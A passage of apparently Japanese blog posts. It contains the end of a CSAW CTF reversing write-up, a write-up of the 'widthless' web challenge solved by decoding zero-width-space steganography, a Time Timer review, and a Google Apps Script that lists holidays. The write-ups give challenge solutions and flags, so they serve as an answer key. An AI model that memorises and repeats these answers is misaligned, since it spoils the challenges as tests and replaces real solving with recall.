    rsp-0x90:    306772346d7d
    rsp-0x88:    6c31645f7072
    rsp-0x80:    73757033725f7634
    rsp-0x78:    666c61677b
    rsp-0x70:    8daaad  
    rsp-0x68:    aab
    rsp-0x60:    833
    rsp-0x58:    182265e9
    rsp-0x50:    21c1
    rsp-0x48:    11
    rsp-0x40:    2
    rsp-0x38:    77cf4b645b61
    rsp-0x30:    115
    rsp-0x28:    13
    rsp-0x20:    3
    rsp-0x18:    4    
    rsp-0x10:    14be74f15
    rsp-0x8:    4f
    rsp: ?

imulで計算した結果を保存しているらしき -0x78 ~ -0x90 を抽出するとこうなる
666c61677b
73757033725f7634
6c31645f7072
306772346d7d

ASCII として読むとフラグになっている。

正攻法は、シェルコードとして実行して segfault か何かで止まったところを gdb でメモリ確認するといいのかもしれないが、まだ私にはできなかった。

web, widthless

http://web.chal.csaw.io:5018/ が与えられている。

ML 購読フォームがある、作りかけのサイトという体裁。

  • Email の POST のフォームは HTTP としては動作するが特に進展しない。csrf_token が設定されている。
  • レスポンスヘッダにはクッキーがある程度で怪しいところは無い。

ソースを読むとヒントと思われるメッセージがあった。

    <!-- zwsp is fun! -->

また、developer tool で見ると、body 下部に #8203;​​ などの特殊文字がぎっしり入っていた。

zwsp で調べると、"ゼロ幅スペースステガノグラフィ"に関連するツールを見つけた。

github.com

HTML 全体をこのツールに通す

const fs = require('fs');
const zwspSteg = require('zwsp-steg');

const html = fs.readFileSync('index.html', 'utf-8');
const decoded = zwspSteg.decode(html);
console.log(decoded);

YWxtMHN0XzJfM3o= が得られた。base64 でデコードすると、alm0st_2_3zとなる。これをフォームに入力すると新たな本文が追加される。

/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>

pwd は alm0st_2_3z のことだと判断し、http://web.chal.csaw.io:5018/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z へアクセスしてみる。すると今度は HTML 全体にゼロ幅スペースが散りばめられていた。

また zwsp-steg で処理を試みるも、ブラウザでレンダーされたものをコピペしてもうまくデコードできなかった。きちんと curl で無加工のペイロードを取ってくる。

$ curl http://web.chal.csaw.io:5018//ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z  -o index.html

zwsp-steg へまた通すと、755f756e6831645f6d33 が得られた。2桁ずつ ASCII 読みすると u_unh1d_m3 となる。

これをフォームで送信すると次のヒントが出る。

/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2>

pwd1, pwd2 はこれまで得た文字列だと判断し、
http://web.chal.csaw.io:5018//19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3 へ。

するとフラグを得られる。

Time Timer を買った

集中力向上のツールとして Time Timer というのを買ってみた。高くて気軽に手を出せないのにあまり日本語でのレポートが無いのでしたためておく。

私は時間の経過を感じるのが苦手だからいつもだらだらと作業してしまう。したがって25分のタイマーを区切りに作業するポモドーロテクニックを導入してみたりしたのだが、私の要求に沿ったツールがなかなか無かった。

要件

  • 視認性が良い
  • アラーム音を切れる
  • 面積などで視覚的に経過時間がわかる
  • 単機能

これまで検討したもの

  • スマホやパソコンでやるとウィンドウが背面に回ってしまったり起動をし忘れたりして存在をすぐに忘れてしまう。また、デジタル式だと時間の量が感覚的に掴めない。
  • アナログのキッチンタイマーはカチカチと音がなるものが多く、けたたましいアラームを無効にすることができない。オフィスでは絶対に使えない。

Time Timer

この要件だと Time Timer が最適だった。

www.timetimer.com

  • 面積で残り時間を視認できる
  • 単機能
  • アラームを切れる
  • 時計のチクタク音が無い

もともと子供やASDなどもスコープに入れたツールであり押さえるべきところが押さえられている。

欠点は価格だ。安いモデルでも5,000円以上する。Time Timer 自体は学生の頃から知っていたが高すぎて手が出なかった。自作も検討していたがずっと放置していた。

忘れていたころに、類似の IoT デバイスで Kotobo という、30分タイマーを通知するだけのボタンが登場した。とても欲しいと思ったがこれはなんと 12,980円もする。

koto-ha.co.jp


これを買う前に類似の機能を持ったより安価なもので効果を知っておきたいなと思い、ふと Time Timer を思い出して Kotobo の半値以下なら買ってしまうか、と決断したのである。

Unboxing

インテリアに馴染むような小型モデルで、Time Timer MOD というのがあり 5,000円ちょっとで買った。確か昔は買える場所が少なかったような気がするが、今では楽天の玩具屋などでも扱っている。

f:id:ishn:20191228094549j:plain

外箱はおしゃれ。

f:id:ishn:20191228094739j:plain

内容物はこれ。

f:id:ishn:20191228094828j:plain

本体は柔らかいシリコンカバーがついていて雑に扱ってもいいようになっている。このカバーにカラーバリエーションがあるらしく、それで MOD というらしい。
f:id:ishn:20191228095057j:plain

背面はアラーム音のスイッチと電池蓋がある。電池は同梱されておらず、単三電池1本と蓋を開けるためのメガネ用ドライバーが必要。蓋、ネジは固めなので、小さい子供に渡しても問題なさそうだ。

www.youtube.com

文字盤中央の取っ手を回すだけで自動でカウントダウンが始まる。アラーム音はこんな感じで4回鳴って終了。ずっと鳴り続けたりはしないのが素晴らしい。

使用感

良い

  • 赤い面積で残り時間が直感的にわかる。これを求めていた。
  • 中央の取っ手を回す以外に操作が無い。面倒が無いので頻繁にリセットできる。

欠点

  • 大きすぎず小さすぎず絶妙なサイズ感だけど、大人が使う場合は堅牢性よりも携帯性が重要な気がするので薄くしてもらった方がいいかも。オフィスでも家でも使いたい。

ポモドーロテクニックにも使えるけどそれ以外でも、分単位の締め切りのある作業をする際にバッファを持たせたタイマーを作っておき、チラチラと眺めるのはとても効果があった。やはり残り時間が面積で認識できるのは大きいと感じた。少なくなってくると、意味のない作業は切り捨てたり落とし所を考え始めるようになる。

あとは、音、操作性、視認性でストレスを全く感じないのも良い。

まぁここまでツールの話を書いてしまったけど、実際は睡眠、運動、食事、精神が全て整っていることが一番大事。その上でさらに締め切りを意識した活動が苦手ということを認識したのでこれで改善できそう、という話です。

使用感が気になる人は Android だと Visual Timer という無料アプリがあったので試してみて欲しい。

play.google.com

Time Timer 純正のアプリもあるが有料で、タイマーアプリにしては高い...

(簡易版)Google App Script で Google Spreadsheet に日本の祝日リストを吐き出す

google spread sheetに自動更新される日本の祝日シートを作る - Qiita

この Qiita のコードをもっと簡単にしてみた。

自分のバージョンはこちら。

function generateHolidayList() {
  const url = 'https://docs.google.com/spreadsheets/d/xxxxxxxx';
  const sheet = '日本の祝日';

  const start = new Date('2018-01-01T00:00:00');
  const end = new Date('2030-12-31T00:00:00');

  const holidays = CalendarApp.getCalendarById('ja.japanese#holiday@group.v.calendar.google.com')
    .getEvents(start, end)
    .map(function(e) { return [e.getStartTime(), e.getTitle()] });
  SpreadsheetApp.openByUrl(url).getSheetByName(sheet).getRange(1, 1, holidays.length, 2).setValues(holidays);
}

このスクリプトは1カラム目に日付、2カラム目に祝日の名前を書き込む。

どこに書き込むのかは url, sheet 変数で決める。

一度実行すると上書きされる。実用上はそんなもんでいいのではないかな。元の qiita のは空白の制御とかもしてるけど滅多にやらないから手作業で十分だし、コードの見通しを良くしたい。あとは早すぎる抽象化をバッサリ削除した。